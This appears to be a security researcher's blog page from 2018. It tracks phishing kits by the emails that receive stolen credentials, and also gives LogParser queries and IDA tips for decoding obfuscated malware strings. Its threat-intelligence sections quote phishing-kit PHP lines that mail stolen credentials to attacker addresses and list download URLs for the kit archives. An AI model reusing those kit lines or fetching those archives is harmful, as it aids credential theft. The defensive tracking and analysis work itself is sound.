Friday, November 30, 2018

PhishingKitTracker by neonprimetime

community I've recorded the from each for the last year & started tracking them out on to share with you. My hope is this can somehow be used to fight the onslaught of seen daily See the list

https://github.com/neonprimetime/PhishingKitTracker/blob/master/PhishingKitTracker.csv

I have 500 phishing kits so far and the data paints some interesting pictures. Such as 82% of the phishing kits I tracked use a account to receive the stolen creds. I've also found threat actors that re-use so you can perhaps link together campaigns.

A big thank you, all the credit for the data goes to the community on twitter that hunts and finds all the evil sites such as and everyone else in the community

If anybody knows people , , , , that care about this type of data and could perhaps help the community start streamline reporting or detection of these email accounts that receive stolen creds daily that's be sweet.

If anybody knows a better place to upload zipped up phishing kits than VT , I'd love to be sharing and archiving them somewhere the whole community has access to.

If anybody every has threat actor emails they wanted appended to this list just CC me and I'll do my best to get them added

If anybody has suggestions on better ways to do this & share w/ the community, extra data/fields to track, etc. I'm all open ears, for example if somebody wanted to build a tracker website for the community to use you'd be my hero ! Otherwise, HAPPY FRIDAY

Wednesday, November 28, 2018

Excel SumIf example

=SUMIF(B2:B23, I2, F2:F23)

LogParser basic syntax

LogParser.exe -i:EVT -h       [prints the columns available on that event log type]

# Windows Auth (Security)
select where LogonType <> '3'
LogParser.exe -i:EVT "SELECT TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as username,EXTRACT_TOKEN(Strings, 8, '|') as LogonType,EXTRACT_TOKEN(Strings, 17, '|') AS ProcessName,EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP FROM logs.evtx where EventID=4624 and EXTRACT_TOKEN(Strings, 8, '|') <> '3'"

# Windows Task Scheduler
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Strings, 0, '|') as TaskName, EXTRACT_TOKEN(Strings, 1, '|') as Path, EXTRACT_TOKEN(Strings, 2, '|') as ProcessId, EXTRACT_TOKEN(Strings, 3, '|') AS Priority FROM Microsoft-Windows-TaskScheduler%4Operational.evtx where EventID = 129 and EXTRACT_TOKEN(Strings, 1, '|') not like '%Sophos%' and EXTRACT_TOKEN(Strings, 1, '|') not like '%GoogleUpdate%' and EXTRACT_TOKEN(Strings, 0, '|') not like '%Database One%' and EXTRACT_TOKEN(Strings, 1, '|') not like '%Small Business%' and EXTRACT_TOKEN(Strings, 1, '|') not like '%Solutions BPA%'

LogParser.exe -i:EVT "select * from security.evtx" -rtp:-1

LogParser.exe -i:EVT "select * from security.evtx_ where eventid=4703" -rtp:-1

LogParser.exe -i:EVT "select eventid, count(*) from security.evtx_ group by eventid order by count(*) desc" -rtp:-1

LogParser.exe -i:EVT "select eventid, count(*) from security.evtx_ group by eventid order by count(*) desc"  -rtp:-1 -o:csv > out.csv

LogParser.exe -i:EVT "select timegenerated from system.evtx_ where message not like '%description for%' AND timegenerated >= '2018-11-26 05:00:00' and timegenerated <= '2018-11-26 18:00:00'"  -rtp:-1

LogParser.exe -i:EVT "select timegenerated, strings from security.evtx_ where strings not like '%privilege%'"  -rtp:-1 -o:csv > out.csv


NOTE:
The rtp parameter suppresses the "press a key" paging feature that is default for log parser
 -rtp:-1

NOTE:
If you get "The description for event id ... cannot be found" for every message it might be because

user account needs the"Manage auditing and security log." permission

Sunday, November 25, 2018

#phishingkit 10/2017 to 11/26/2018 from Twitter

Migrated this list to Github, future updates will be posted on github, not on this page

https://github.com/neonprimetime/PhishingKitTracker

-------------------

Search twitter for "#phishing kit email" thru 11/26/2018
Search twitter for "threat actor email" thru 11/26/2018
Search twitter for "phishing actor email" thru 11/26/2018
Search twitter for "kit email gmail" thru 11/26/2018

10/30/2017, https://twitter.com/WifiRumHam/status/925028684716789761, adamandeve10000@gmail.com, gmail, office.php, Office365, newmum.co.nz, authentication.zip ,
11/28/2017, https://twitter.com/dave_daves/status/935459029979226112, emailresult1000cc@gmail.com, gmail, ajax_php_file.php, Paypal, sucure-login-area-paypal.com-acces-dispute.ga, vuplodbank.zip ,
12/4/2017, https://twitter.com/dave_daves/status/937680046906597376, boxresult81@gmail.com, gmail, , ChaseBank, chase.com-secure.account.manpowergroupglobal.org, Chasebank.zip ,


12/14/2017, https://twitter.com/malware_traffic/status/941323414903644169, tingyangting111@gmail.com, gmail, , DHL, linkcomp.com.br, , , 
12/14/2017, https://twitter.com/malware_traffic/status/941323414903644169, johnbeng95@gmail.com, gmail, , DHL, linkcomp.com.br, , , 

12/22/2017, https://twitter.com/malware_traffic/status/944245891711586304, sharoncute48@gmail.com, gmail, , Office365, dhiprograme.tk, Office365.zip ,
12/22/2017, https://twitter.com/malware_traffic/status/944245891711586304, sharoncute48@gmail.com, gmail, , OneDrive, dhiprograme.tk, OneDrivenew.zip ,
12/22/2017, https://twitter.com/malware_traffic/status/944245891711586304, sharoncute48@gmail.com, gmail, , WhatsApp, dhiprograme.tk, webwhatsapp.zip ,

1/5/2018, https://twitter.com/neonprimetime/status/949347579938131969, mrtrqbing@gmail.com, gmail, , WellsFargo, grtrucking.net, WellsLINK.zip,
1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, frederickwsmith404@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , , 
1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, randytessy17@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, ericjasonminks150@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, withgodblessed@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, chingy555@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, cleverin15@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, susanfranciscoyason@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, edu.logs1@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, resultforwarding@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, payagent008@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, kmor1994@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, jcgmaimi@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , ,  1/5/2018, https://twitter.com/neonprimetime/status/949409167328018437, maharazuhussaini@gmail.com, gmail, , http://u0000171.cp.regruhosting.ru, , , 
1/6/2018, https://twitter.com/MaelSecurity/status/949740397093359617, resultargent11@gmail.com, gmail, , , , , , , 

1/9/2018, https://twitter.com/n0p1shing/status/950786753446760454,  pp.adamson12@gmail.com, gmail, , WellsFargo, leorose.org, wells.zip ,
1/23/2018, https://twitter.com/n0p1shing/status/955853608318365698, marvinrwilso@gmail.com, gmail, , ChaseBank, www.ybytymi.gov.py, ,
1/23/2018, https://twitter.com/n0p1shing/status/955860281770553344, sqlinjection9@gmail.com, gmail, , DropBox, www.escuelavaloresdivinos.com, ,
2/6/2018, https://twitter.com/malware_traffic/status/960885922874183681, ahmedbenhamida290@gmail.com, gmail, , Paypal, mypapyalservice.info.support.mlaitbd.com, Myaccount.zip, Shadow Z118

2/24/2018, https://twitter.com/FewAtoms/status/967395367515017216, goodgod950@gmail.com, gmail, , , itel.pt, , , 
2/24/2018, https://twitter.com/FewAtoms/status/967395367515017216, afonsojide007@gmail.com, gmail, , , itel.pt, , , 
2/24/2018, https://twitter.com/FewAtoms/status/967395367515017216, juve4n@gmail.com, gmail, , , itel.pt, , , 
2/24/2018, https://twitter.com/FewAtoms/status/967395367515017216, juve4n@yahoo.com, yahoo, , , itel.pt, , ,
2/26/2018, https://twitter.com/packet_Wire/status/968201542321963009, fabricshunter@gmail.com, gmail, , OneDrive, kimomwemotors.co.tz, , , 

3/18/2018, https://twitter.com/teoseller/status/975438207159500802, johnbeng95@gmail.com, gmail, , Hotmail, hectords.us, NEWHOT(2).zip, Created By Blessed E Moni
4/6/2018, https://twitter.com/Ring0x0/status/982367286085521408, fudtools@gmail.com, gmail, , Adobe, subashd.igg.biz, , Created BY unknown
4/6/2018, https://twitter.com/Ring0x0/status/982367286085521408, revkelvinsmith7@gmail.com, gmail, , Adobe, subashd.igg.biz, , Created BY unknown
4/11/2018, https://twitter.com/ps66uk/status/984215279856246784, ajcontractorllc@gmail.com, gmail, , Amazon, , , Created by Jokamer
4/13/2018, https://twitter.com/PhishingAi/status/984980235925016576, heavanmanner@gmail.com, gmail, verification.php, Gmail, www.ctworkerscomplaw.com, moole.zip,
4/13/2018, https://twitter.com/PhishingAi/status/984980235925016576, equallib12@gmail.com, gmail, verification.php, Gmail, www.ctworkerscomplaw.com, moole.zip,
4/17/2018, https://twitter.com/PhishingAi/status/986244030135787521, lee.ryan9713@gmail.com, gmail, , DropBox, safelinkonlineverify.com, dropbox Original Fin.zip,

4/17/2018, https://twitter.com/PhishingAi/status/986240791818326016, wirebox1oz@gmail.com, gmail, AA1.php, OneDrive, dewsdueshil.in.net, ZZmoh2.zip, , 

4/19/2018, https://twitter.com/ps66uk/status/986907477311672320, boltlogs111@gmail.com, gmail, , LinkedIn, livingthebalancedlife.com, linkedIn-1 (2).zip,
4/20/2018, https://twitter.com/PhishingAi/status/987371663661654016, x3dbase@gmail.com, gmail, , Microsoft, www.rmt.undip.ac.id, Hot-Latest.zip, Anonymous Cyber Team

4/28/2018, https://twitter.com/ViriBack/status/990270826674053121, jackthomas398@gmail.com, gmail, , Microsoft, sinfastener.com, HOTMAILverify.zip, , 

5/1/2018, https://twitter.com/PhishingAi/status/991381162663776256, mattajones2017.jones@yandex.com, yandex, base.php, btcw1, reaurobz.tk, bitcoin.zip,
5/1/2018, https://twitter.com/PhishingAi/status/991381162663776256, resultbox14@gmail.com, gmail, base.php, btcw1, reaurobz.tk, bitcoin.zip,
5/2/2018, https://twitter.com/phishingai/status/991678169517211649?s=21, jan.ddaley@gmail.com, gmail, , GoogleDrive, gossipservice.xyz, , ,
5/7/2018, https://twitter.com/PhishingAi/status/993481935455338497, bahijahgkayali@gmail.com, gmail, redirect.php, Alibaba, mobile.wellnuts.by, Alibaba.com.zip, created by n0b0dy
5/7/2018, https://twitter.com/PhishingAi/status/993488095042416641, vcman41121@gmail.com, gmail, , Excel, housingfinancecommission.com, Microsoftexcelverification000.zip, Created BY Unknown(doit)com
5/7/2018, https://twitter.com/PhishingAi/status/993530805535227904, uaelab39@gmail.com, gmail, , DropBox, impresoscolorca.com, mymail.zip, Created in 2018 By Lexxy
5/7/2018, https://twitter.com/PhishingAi/status/993530805535227904, unknownbnx@protonmail.com, protonmail, DropBox, impresoscolorca.com, mymail.zip, Created in 2018 By Lexxy
5/7/2018, https://twitter.com/malware_traffic/status/993635548874108929, craigsardoni10@gmail.com, gmail, , DocuSign, breakingbengal.com, docufix18.zip,
5/7/2018, https://twitter.com/PhishingAi/status/993658710974119936, alexpattyfar@gmail.com, gmail, , Adobe, outdoorlightingcorpuschristi.com, Adobe Latest 2017.zip, Created by fudpages(doit)com
5/8/2018, https://twitter.com/dave_daves/status/993801507387723776, lasomule5@gmail.com, gmail, ____3m4il____.php, AskAmex, americanexpress.com-app-requst.cf, amex2018.zip, J0hn l4mb0ng
5/8/2018, https://twitter.com/malware_traffic/status/993865209570881537, princepepsa241@gmail.com, gmail, , Adobe, cre8tivehost.com, newpdf.com.zip, Alibobo
5/14/2018, https://twitter.com/malware_traffic/status/996086966314659841, reyg4hunnid@gmail.com, gmail, , OneDrive, jade-lang.bid, Onedrive.zip, MerLin

5/17/2018, https://twitter.com/phishingai/status/997260699867824128?s=21, comingthrough01@gmail.com, gmail, , GoogleDocs, advantageinspections4you.com, , ,
5/22/2018, https://twitter.com/phishingai/status/998958797115670528?s=21, servergroupbd@gmail.com, gmail, , , , , ,
5/22/2018, https://twitter.com/phishingai/status/999000244862926848?s=21, alexnormal350@gmail.com, gmail, , Adobe, styleadvisor.net, , ,
5/22/2018, https://twitter.com/phishingai/status/999021183109484544?s=21, ceo2blessing4jasman@gmail.com, gmail, , Microsoft, blamefind.cf, , ,
5/22/2018, https://twitter.com/phishingai/status/999022618689720320?s=21, howardrosell4@gmail.com, gmail, , Adobe, classykcatering.com, , ,
5/22/2018, https://twitter.com/phishingai/status/999107530629394432?s=21, turtleromeoo@gmail.com, gmail, , DocuSign, www.allangillphotography.com, , ,

5/24/2018, https://twitter.com/ps66uk/status/1000133999736520705, m.s411x@zoho.com, zoho, , , gonenative.com.au, validate.zip, HACKED BY OPIO
5/24/2018, https://twitter.com/ps66uk/status/1000133999736520705, lolly4u2luv@gmail.com, gmail, , , gonenative.com.au, validate.zip, HACKED BY OPIO
5/28/2018, https://twitter.com/PhishingAi/status/1001137137365012481, markenzy2018@gmail.com, gmail, , Docusign, pdfdocusign.com, mkdhysyhh.zip,
6/1/2018, https://twitter.com/PhishingAi/status/1002608731236864000, peter2035@gmail.com, gmail, , OneDrive, tinyflocks45.ml, one.drive new.zip,

6/1/2018, https://twitter.com/nullcookies/status/1002577476755828736, emmanuelegbejale@gmail.com, gmail, , Avast, slotfire.bid, , , MrEmmZ

6/19/2018, https://twitter.com/ps66uk/status/1009213271587639296, peralgems.sxm@gmail.com, gmail, , NatWest, www.photoexpression.com, modle.zip,
6/21/2018, https://twitter.com/JonSelman/status/1009860110280286209, blackshop.tools@gmail.com, gmail, processor.php, Microsoft, rayanehh.club, Microsoft auto.zip, 
7/5/2018, https://twitter.com/ps66uk/status/1014872544778833920, xoxobillionaire@gmail.com, gmail, zVeXn5.php, Office365, jobs.finddynamic.com, invoice.zip, 

7/12/2018, https://twitter.com/sS55752750/status/1017500841794732034, surelogin2@gmail.com, gmail, , BOA, www.soceron.org.br, , 
7/15/2018, https://twitter.com/nullcookies/status/1018598506511130624, jim.isaac2121@gmail.com, gmail, , Citi, www.contrasa.com.gt, , , 

7/19/2018, https://twitter.com/demonslay335/status/1019982348429996033, hollandmelt@gmail.com, gmail, validation.php, DocuSign, modermdesigec.ga, mankmodern.zip, , 

7/23/2018, https://twitter.com/nullcookies/status/1021586396967051265, foxinsurrance@gmail.com, gmail, , Mimecast, touchmeup.operand.com, , , 
7/23/2018, https://twitter.com/nullcookies/status/1021586396967051265, dddresult@gmail.com, gmail, , Mimecast, touchmeup.operand.com, , , 

7/24/2018, https://twitter.com/dave_daves/status/1021729264532635648, michaelnlisa4sure@gmail.com, gmail, , BOA, bofamerica-login-index-com.gq, bnd.zip, Dr.Don
7/24/2018, https://twitter.com/dave_daves/status/1021729264532635648, sesurityas@yandex.com, yandex, , BOA, bofamerica-login-index-com.gq, bnd.zip, Dr.Don

8/1/2018, https://twitter.com/PhishingAi/status/1024738507225526272, evansjohnny40@gmail.com, gmail, result.php, Comcast, login.comcast.net.support.rooseveltpark.co.za, x2.zip, Modsrule

8/3/2018, https://twitter.com/dms1899/status/1025298743548100608?s=21, resultsze@gmail.com, gmail, , Bred_BP, to-pettey-to.gq, , , 

8/6/2018, https://twitter.com/phishingai/status/1026462447207677953?s=21, citijuug@protonmail.com, protonmail, , HMRCgovuk, www.hmrc-gov-uk.online, , , 
8/6/2018, https://twitter.com/phishingai/status/1026462447207677953?s=21, rickyflair@protonmail.com, protonmail, , HMRCgovuk, www.hmrc-gov-uk.online, , , 

8/6/2018, https://twitter.com/PhishingAi/status/1026286635879522304, herren.ruth@gmail.com, gmail, next2.php, Microsoft, www.secure-officequotaupdate-emicrosoftonline.shoppersfact.com, quotaview.zip, nJoy
8/22/2018, https://twitter.com/ps66uk/status/1032284023559737346, cmx_th@yahoo.com, yahoo, , Microsoft, premierstl.com, , , 


9/8/2018, https://twitter.com/jcybersec_/status/1038626145443479553?s=21, mikemark78@yandex.com, yandex, , DocuSign, khatnayhoye.com, , , 

9/19/2018, https://twitter.com/dave_daves/status/1042410483934945280, logmoney101@gmail.com, gmail, , DHL, http.dhl.com.verification.location.com.grundy-feeu-wamdoct.xyz, hppdhlnetwor -.zip, HACKED BY CARISLAMBA

10/2/2018, https://twitter.com/neonprimetime/status/1047304213578088448, rachid.ttm.ttm@gmail.com, gmail, , Stripe, peregrinosdequeretaroaltepeyac.org, Stripebank.zip, , 

10/11/2018, https://twitter.com/JonSelman/status/1050388794086707202, receivableacoount@gmail.com, gmail, feedback.php, Office365, velar852.com, 00100.zip, fudtoolshop@gmail.com
10/11/2018, https://twitter.com/PhishingAi/status/1050493188006338560, mrmikelogs@gmail.com, gmail, , TDS, rifttag.com, disk.zip, 
10/11/2018, https://twitter.com/PhishingAi/status/1050493188006338560, bizreal28@gmail.com, gmail, , TDS, rifttag.com, disk.zip, 
10/11/2018, https://twitter.com/PhishingAi/status/1050494923730956288, onecustomerbox@gmail.com, gmail, , Microsoft, finmedbrokers.co.za, Macro.zip, GOD'S SON
10/11/2018, https://twitter.com/PhishingAi/status/1050494923730956288, onecustomerbox@gmail.com, gmail, , Microsoft, liberty-united.com, Macro.zip, GOD'S SON
10/12/2018, https://twitter.com/JonSelman/status/1050824905971896322, doncharming001@gmail.com, gmail, next.php, Microsoft, danfodiver.com, Outlook New Final 2017.zip, FUDTool

11/5/2018, https://twitter.com/IpNigh/status/1059422256055623681, wirehitman@yandex.com, yandex, , , www.hugedomains.com, , , 
11/5/2018, https://twitter.com/IpNigh/status/1059422256055623681, ricklloyd177@gmail.com, gmail, , , www.hugedomains.com, , , 
11/6/2018, https://twitter.com/olihough86/status/1059731250855006209, ezenwa277@gmail.com, gmail, , Google, , , MineHulk

11/10/2018, https://twitter.com/IpNigh/status/1061139944620613632, mohand.mohamed2121@gmail.com, gmail, , BOA, vqtraertzwq.org, , ,
11/10/2018, https://twitter.com/IpNigh/status/1061299557991092230, am91234567890@gmail.com, gmail, , Paypal, ttudri.com, , ,
11/12/2018, https://twitter.com/IpNigh/status/1061965249337835522, mozayltd@gmail.com, gmail, , PayPal, www.innenraume.com, , ,
11/12/2018, https://twitter.com/IpNigh/status/1062038217430577152, hemtlanker@gmail.com, gmail, , Capitec, www.windproofparaplu.nl, , , 

11/14/2018, https://twitter.com/actorexpose/status/1062818829489840138?s=21, oiltop1133@gmail.com, gmail, , , www.ronessan.com, , , 
11/14/2018, https://twitter.com/IpNigh/status/1062797097035030540, hemtlanker@gmail.com, gmail, , Office365, www.musique-et-spoliations.com, , ,
11/14/2018, https://twitter.com/IpNigh/status/1062797097035030540, ghenghen@newrez.cn, newrez, , Office365, www.musique-et-spoliations.com, , ,

11/15/2018, https://twitter.com/IpNigh/status/1063243089668710401, halden13@yahoo.com, yahoo, , , promo-itau-card-br.com, , , 
11/15/2018, https://twitter.com/IpNigh/status/1063243089668710401, infoccs@novasinfos, novasinfos, , , promo-itau-card-br.com, , , 
11/17/2018, https://twitter.com/IpNigh/status/1064028584967323648, num1working1@gmail.com, gmail, , BOA, casperchildrenscenter.com, , ,
11/17/2018, https://twitter.com/IpNigh/status/1063873618311069696, wildt00l@gmail.com, gmail, , , www.belvc.by, ,
11/17/2018, https://twitter.com/IpNigh/status/1063873618311069696, madstoresk@yahoo.com, yahoo, , , www.belvc.by, ,
11/17/2018, https://twitter.com/tiketiketikeke/status/1063808521899134976, kntlkamuya666@gmail.com, gmail, , Apple, secret-.myappleid-verification-account.com-systemverification.com, , , 

11/19/2018, https://twitter.com/PhishingAi/status/1064552947206377472, aaronlogz7@gmail.com, gmail, , Yahoo, webilix.net, , , 


11/21/2018, https://twitter.com/phishingai/status/1065283882914906112?s=21, portlandort0923@gmail,com gmail, , ScotiaBank, scotia-disable.com, Scotia.zip, 
11/23/2018, https://twitter.com/aneilan/status/1065985520185077760?s=21, result.a@yandex.com, yandex, , Apple, apple-appleid.payment-billing-service-aacount.com, , , 
11/23/2018, https://twitter.com/aneilan/status/1066012620656992257?s=21, ntahlahres@yandex.com, yandex, , Apple, manage.appleid.apple.com.sm-ua-cx-online.net, , ,
11/23/2018, https://twitter.com/nullcookies/status/1066104006790078464?s=21, readaykhan84@gmail.com, gmail, , Facebook, 0freefacebook.weebly.com, , , 

11/26/2018, https://twitter.com/dave_daves/status/1067099634248704000, pluspointgp@gmail,com, , , verificationservice.cf, , 

Monday, November 12, 2018

IDA common locations to put breakpoints

I'm learning that if you're looking for somewhere to breakpoint in confusing malware try

jmp eax ;   // or any register for that matter, it's jumping to a dynamic address
call eax ;   // or any register for that matter, it's jumping to a dynamic address
call dword_xxx;   // it's jumping to an address saved in data, perhaps dynamically loaded

Also a breakpoint in
ntdll.dll -> ResumeThread ; // malware may suspend and then restart when completed editing
ntdll.dll -> ResumeProcess ; // malware may suspend and then restart when completed editing

Also look at the IDA color coded graph across the top, look for a large chunk of data, which is probably the packed code, find the label for it, for xrefs to that label, then breakpoint there.

IDA Error "The instruction at ... referenced memory at ... The memory could not be written"

If you're running malware in IDA and get a error such as

8A1EE: The instruction at 0x8A1EE referenced memory at 0x0. The memory could not be written -> 0000000000000000 (exc.code c0000006, tid 2268)

Per the OALabs youtube video

https://www.youtube.com/watch?v=ScBB-Hi7NxQ

This might be caused by the Debugger holding a handle to malware sample and the malware itself wanting its own exclusive handle to the file.

Thus the malware errors out because it cannot collect an exclusive handle to the malware sample since the debugger already has a handle.

To remediate, one potential fix is to try ...
- Set a breakpoint in IDA on startup
- In the debugger "Modules" window, find "ntdll.dll" and the "NtCreateFile" function, set a breakpoint
- Continue the debugger, it will eventually hit NtCreateFile
- Then "Continue until Return" multiple times until you return to the malware code
- In my case it was a call to "kernel32.dll" "CreateFileA" that triggered this call
- If you look at the parameters to "CreateFileA", the 3rd parameter was set to 0 which means an exclusive handle
- If you look in the return result of CreateFileA it returned FFFFFFFF which means an "invalid file handle" which is what's causing the error
- So, add a breakpoint to this CreateFileA call
- Kill the debugging process
- Re-launch the program until it hits your new breakpoint
- Change that 3rd parameter from 0x0 to 0x7 to give yourself full access
- Now allow it to run, and notice the return value is no longer FFFFFFFF , it's a valid file handle now, and thus you've gotten past that error caused by the exclusive handle!

#phishingkit threat actor emails 2018-11-12

#phishingkit actor emails
https://twitter.com/Techhelplistcom/status/1061885792027586560
185.52.3.156 http://routelabel.net  hosting



12\12\12\authenticate.php:$email= "cforeplyto@gmail.com";
12\12\12\login.php:$email= "cforeplyto@gmail.com";
drop\newdropbox\00\000\001\index\gm33ail\geemail.php: $to ="andyjames009@yandex.com";
2019box\SA\drop\newdropbox\00\000\001\index\li33ve\li33ve.php: $to ="gdaan7@gmail.com";
2019box\SA\drop\newdropbox\00\000\001\index\off33ice\off33ice.php: $to ="gdaan7@gmail.com";
2019box\SA\drop\newdropbox\00\000\001\index\others\otherother.php: $to ="gdaan7@gmail.com";
2019box\SA\drop\newdropbox\00\000\001\index\yah33oo\yah33oo.php: $to ="gdaan7@gmail.com";
Anymail%20Magnet\magnet\loader.php:$to = "mchlliving@gmail.com"; 
Anymail%20Magnet\magnet\Verify.php:$to = "mchlliving@gmail.com"; 
Anymail%20Magnet%20-%20zilo\magnet\loader.php:$to = "zakichahul@gmail.com"; 
Anymail%20Magnet%20-%20zilo\magnet\Verify.php:$to = "zakichahul@gmail.com"; 
luno\index2.php:    $to = "markjamesons717@gmail.com";
luno\index2.php:        "CC:markjamesons717@gmail.com";
microsoftonline.secured\m1soft\verify.php:$mail_to = "feminist008@gmail.com";
sharep\final.php:$send = "steveaustin1234@gmail.com";



http://uahowias.com/12.zip
http://zahwes.com/microsoftonline.secured.zip
http://qtoksa.com/verify.login.microsoftonline/sharep.zip
http://taowlk.com/Luno/luno.zip
http://hanlskes.com/Anymail%20Magnet.zip
http://hanlskes.com/forum/Anymail%20Magnet.zip
http://hanlskes.com/invoice/Anymail%20Magnet.zip
http://hanlskes.com/admin/Anymail%20Magnet.zip
http://hanlskes.com/Confirmation/Anymail%20Magnet%20-%20zilo.zip
http://hanlskes.com/Proposal%20/Anymail%20Magnet.zip
http://kalusm.com/2019box.zip


#phishingkit actor emails
https://twitter.com/Techhelplistcom/status/1061845780791726081
103.75.189.106 vpsmalaysia[.]com[.]my hosting


amiro\includes\my_email.php:$my_email = "madauthy@protonmail.com"; 
Excel23\next.php:$send = "paulm.petromin@gmail.com";
HotmailOfficeNew\next.php:$send = "paulm.petromin@gmail.com";
microsoftonline.secured\m1soft\verify.php:$mail_to = "feminist008@gmail.com";
NAVER\oku.php:$send = "ddonwise1010@yandex.com, maria.hirschberghof@gmail.com";
office365\next.php:$send = "anny.duweivices@gmail.com";
wetransfers\next.php:$send = "anny.duweivices@gmail.com";



http://chowusi.com/download/OUTLOOKNEW.zip
http://batwoks.com/test/test_files.zip
http://swealsk.com/11/NAVER.zip
http://swealsk.com/13/NAVER.zip
http://swealsk.com/6/NAVER.zip
http://swealsk.com/10/NAVER.zip
http://swealsk.com/7/NAVER.zip
http://swealsk.com/8/NAVER.zip
http://swealsk.com/2/NAVER.zip
http://swealsk.com/5/NAVER.zip
http://swealsk.com/9/NAVER.zip
http://swealsk.com/3/NAVER.zip
http://swealsk.com/12/NAVER.zip
http://swealsk.com/1/NAVER.zip
http://swealsk.com/4/NAVER.zip
http://bahlowk.com/amiro.zip
http://ualkws.com/microsoftonline.secured.zip
http://gaklosk.com/microsoftonline.secured.zip
http://ouiask.com/HotmailOfficeNew.zip
http://ouiask.com/office365.zip
http://ouiask.com/Excel23.zip
http://ouiask.com/wetransfers.zip


#phishingkit threat actor emails
https://twitter.com/Techhelplistcom/status/1061840412883722240
35.183.119.114 @digitalocean hosting



1\1\1\1\passportx.php:$send = "zzxxccah22@gmail.com";
domain_updated\review\connectID.php:$own = 'cleanestresults@gmail.com';
form\bringitback.php:$send = "ladi.pupo@yandex.com";
office\office365\bringitback.php:$send = "ladi.pupo@yandex.com";
office365\form\bringitback.php:$send = "ladi.pupo@yandex.com";
Review\file\site\process.php:$to = "info.contactsss01@gmail.com";



http://fbg6.cf/qw/General.zip
http://b6y76.ga/feyi/newestyahoo.zip
http://b6y76.ga/uu/Docusign%20_1.zip
http://b6y76.ga/faith/secure01c.chase.web.auth.dashboard..zip
http://b6y76.cf/ll/domain_updated.zip
http://sfdgvr65.ga/hot-auto.zip
http://sfdgvr65.cf/ourtimet%20_1.zip
http://fbg6.ga/office365/form.zip
http://fbg6.ga/office365.zip
http://fbg6.ga/office.zip
http://fbg6.ga/office/office365.zip
http://gb667u76.tk/1.zip
http://gb667u76.tk/review/Review.zip

Friday, November 9, 2018

IDA Python bitwise NOT Decode malware strings

If you have an area in memory that is xor obfuscated

debug007:0018FB06 db  9Ch ; œ
debug007:0018FB07 db  1Ah

and you have assembly code that decodes it with a bitwise not like this

.text:00401671 movzx   edx, byte ptr [eax+3]
.text:00401675 not     cl
.text:00401677 xor     dl, 75h


You can decode it to read it in IDA Python scripting by going to
file -> script command
and entering code like this
where 'd' is filled with the encoded hex values
and the print statements are filled with the individual xor values from the code

from textwrap import wrap
d = "9c1a"
bytes = wrap(d, 2)
for i in range(len(bytes)):
 bytes[i] = int(bytes[i],16)
print(chr((~bytes[0]) & 0x000000FF))
print(chr(bytes[1] ^ 0x75))


thus in this example
d = "9c1a"
prints out
'co'

IDA Python Xor Decode malware strings

If you have an area in memory that is xor obfuscated

debug007:0018FB04 db 0CEh ; Î
debug007:0018FB05 db  27h ; '
debug007:0018FB06 db  9Ch ; œ
debug007:0018FB07 db  1Ah
debug007:0018FB08 db  95h ; •
debug007:0018FB09 db  2Eh ; .
debug007:0018FB0A db  22h ; "
debug007:0018FB0B db  57h ; W
debug007:0018FB0C db  91h ; ‘
debug007:0018FB0D db  21h ; !
debug007:0018FB0E db  57h ; W
debug007:0018FB0F db  3Ah ; :

and you have assembly code that decodes or xors it to get it back to readable value

.text:00401654 mov     eax, [esp+28h+arg_0]
.text:00401658 movzx   ecx, byte ptr [eax]
.text:0040165B movzx   edx, byte ptr [eax+1]
.text:0040165F xor     cl, 0A3h
.text:00401662 xor     dl, 54h
.text:00401665 mov     [esp+28h+memcpySource], cl
.text:00401669 movzx   ecx, byte ptr [eax+2]
.text:0040166D mov     [esp+28h+var_23], dl
.text:00401671 movzx   edx, byte ptr [eax+3]
.text:00401675 not     cl
.text:00401677 xor     dl, 75h
.text:0040167A mov     [esp+28h+var_22], cl
.text:0040167E movzx   ecx, byte ptr [eax+4]
.text:00401682 mov     [esp+28h+var_21], dl
.text:00401686 movzx   edx, byte ptr [eax+5]
.text:0040168A xor     cl, 0E7h
.text:0040168D xor     dl, 44h
.text:00401690 mov     [esp+28h+var_20], cl
.text:00401694 movzx   ecx, byte ptr [eax+6]
.text:00401698 mov     [esp+28h+var_1F], dl
.text:0040169C movzx   edx, byte ptr [eax+7]
.text:004016A0 xor     cl, 4Bh
.text:004016A3 xor     dl, 23h
.text:004016A6 mov     [esp+28h+var_1E], cl
.text:004016AA movzx   ecx, byte ptr [eax+8]
.text:004016AE mov     [esp+28h+var_1D], dl
.text:004016B2 movzx   edx, byte ptr [eax+9]
.text:004016B6 xor     cl, 0BFh
.text:004016B9 xor     dl, 45h
.text:004016BC mov     [esp+28h+var_1C], cl
.text:004016C0 movzx   ecx, byte ptr [eax+0Ah]
.text:004016C4 mov     [esp+28h+var_1B], dl
.text:004016C8 movzx   edx, byte ptr [eax+0Bh]
.text:004016CC xor     cl, 3Bh
.text:004016CF xor     dl, 56h


You can decode or xor it to read it in IDA Python scripting by going to
file -> script command
and entering code like this
where 'd' is filled with the encoded hex values
and the print statements are filled with the individual xor values from the code

from textwrap import wrap
d = "ce279c1a952e22579121573a"
